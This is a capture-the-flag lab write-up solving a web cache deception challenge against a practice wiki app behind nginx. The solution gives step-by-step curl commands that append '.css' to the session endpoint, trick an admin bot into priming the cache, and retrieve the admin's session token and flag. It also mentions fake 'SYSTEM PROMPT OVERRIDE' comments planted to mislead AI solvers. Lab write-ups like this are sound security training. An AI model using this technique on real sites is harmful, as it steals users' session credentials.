Lab 375 — PageFlow — Web Cache Deception via Path Normalization
Lab 375 — PageFlow — Web Cache Deception via Path Normalization
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: admin_bot_cache_priming, anti_honeypot_awareness, extension_suffix_cache_bypass, path_normalization_desync, proxy_ignore_headers_abuse, web_cache_deception
Summary
Task: collaborative wiki platform behind nginx reverse proxy with aggressive caching, admin bot visits user-submitted URLs. Solution: web cache deception — append .css extension to /api/auth/session to trick nginx into caching admin's authenticated session response, then retrieve cached credentials.
Lab 375 — PageFlow — Web Cache Deception via Path Normalization — Hackadvisor
Description
You are testing PageFlow, a collaborative wiki and knowledge base platform built by FlowBase Technologies. Teams use it to create, edit, and share documents with both internal and external stakeholders. The platform features public document sharing with permalink URLs, full-text search, and an admin panel for platform configuration.
The application uses an nginx reverse proxy for caching and performance optimization. Public-facing document pages are served through an aggressive caching layer.
An admin account holds sensitive platform configuration data, including a secret key. Your goal is to investigate the application's architecture and find a way to obtain the admin's session credentials.
Credentials: user@test.com / password123
English summary: A collaborative wiki platform (Express.js) behind an nginx reverse proxy with aggressive caching. An admin bot visits user-submitted URLs. The goal is to exploit a cache deception vulnerability to steal the admin's session data containing a secret key (flag).
Analysis
-
Initial reconnaissance:
- The app is an Express.js (Node.js) application behind nginx/1.25.5 reverse proxy
- Logged in with
user@test.com / password123, got session cookieconnect.sid - Discovered key pages:
/dashboard,/settings,/search,/docs/new,/report,/api/auth/session - The
/reportpage is an admin bot feature: "When you submit a report, an administrator will visit the URL you provided to verify the issue" - The
/api/auth/sessionendpoint returns JSON with authenticated user info including atokenfield, withCache-Control: no-store, private - Decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments on every 404 page — correctly identified and ignored
-
Caching architecture discovery:
- Found public document
/public/6("Infrastructure & Caching Architecture") which revealed:- All requests matching
/public/*are cached by nginx for 5 minutes (300s TTL) - Cache key: full request URI (as-is)
- Cache headers:
X-Cache: HITorX-Cache: MISS,X-Cache-Key: <uri> - Known Limitations: "Cache key uses raw URI without normalization"
- Session endpoints should never be cached (Cache-Control: no-store)
- All requests matching
- Verified:
/public/1returnsX-Cache: HIT,X-Cache-Key: /public/1,Cache-Control: public, max-age=300
- Found public document
-
Extension-based caching vulnerability:
- Discovered nginx has extension-based caching for static file extensions (.css, .js, .png, etc.)
- Appending a static file extension to ANY path triggers nginx caching:
/settings/test.css→ HTTP 200,X-Cache: MISS, serves the settings page HTML/api/auth/session/test.css→ HTTP 200,X-Cache: MISS, serves the session JSON
- Path normalization desync: Express.js ignores the extra path segment (treats
/api/auth/session/test.cssthe same as/api/auth/session), while nginx sees the.cssextension and applies caching rules - nginx is configured with
proxy_ignore_headers Cache-Control, so the backend'sno-store, privatedirective is overridden - On second request, responses become
X-Cache: HIT— even for unauthenticated requests
Solution
Step 1: Confirm the cache deception primitive
First, verify that appending a .css extension to the session endpoint causes nginx to cache the response:
bash read-only • copy allowed# Request 1: authenticated — triggers cache MISS and stores response curl -s -D- "https://TARGET/api/auth/session/test123.css" \ -b "connect.sid=SESSION_COOKIE" # Response: X-Cache: MISS, X-Cache-Key: /api/auth/session/test123.css # Body: {"authenticated":true,"user":{"id":2,...},"token":"..."} # Request 2: unauthenticated — cache HIT returns previous user's data curl -s -D- "https://TARGET/api/auth/session/test123.css" # Response: X-Cache: HIT # Body: same authenticated response from cache!
Step 2: Prime the cache with admin's session via the report bot
Submit a unique URL to the admin bot so it visits the session endpoint with a cacheable extension:
bash read-only • copy allowed# Submit report — admin bot will visit this URL while authenticated curl -s "https://TARGET/report" \ -b "connect.sid=SESSION_COOKIE" \ -d "url=/api/auth/session/pwned42.css&description=broken+link"
Step 3: Retrieve the cached admin session
Wait ~10 seconds for the admin bot to visit the URL, then fetch the cached response:
bash read-only • copy allowed# Fetch the cached admin session (no authentication needed) curl -s "https://TARGET/api/auth/session/pwned42.css"
Response:
json read-only • copy allowed{ "authenticated": true, "user": { "id": 1, "email": "admin@flowbase.io", "display_name": "Sarah Chen", "role": "admin" }, "token": "l3Vc3SU5X2EouT2DOV98ISN-5NEIg2yR", "secret_key": "FLAG{REDACTED}", "platform_role": "super_admin" }
The admin's session response was cached by nginx under the key /api/auth/session/pwned42.css and served to our unauthenticated request, leaking the flag in the secret_key field.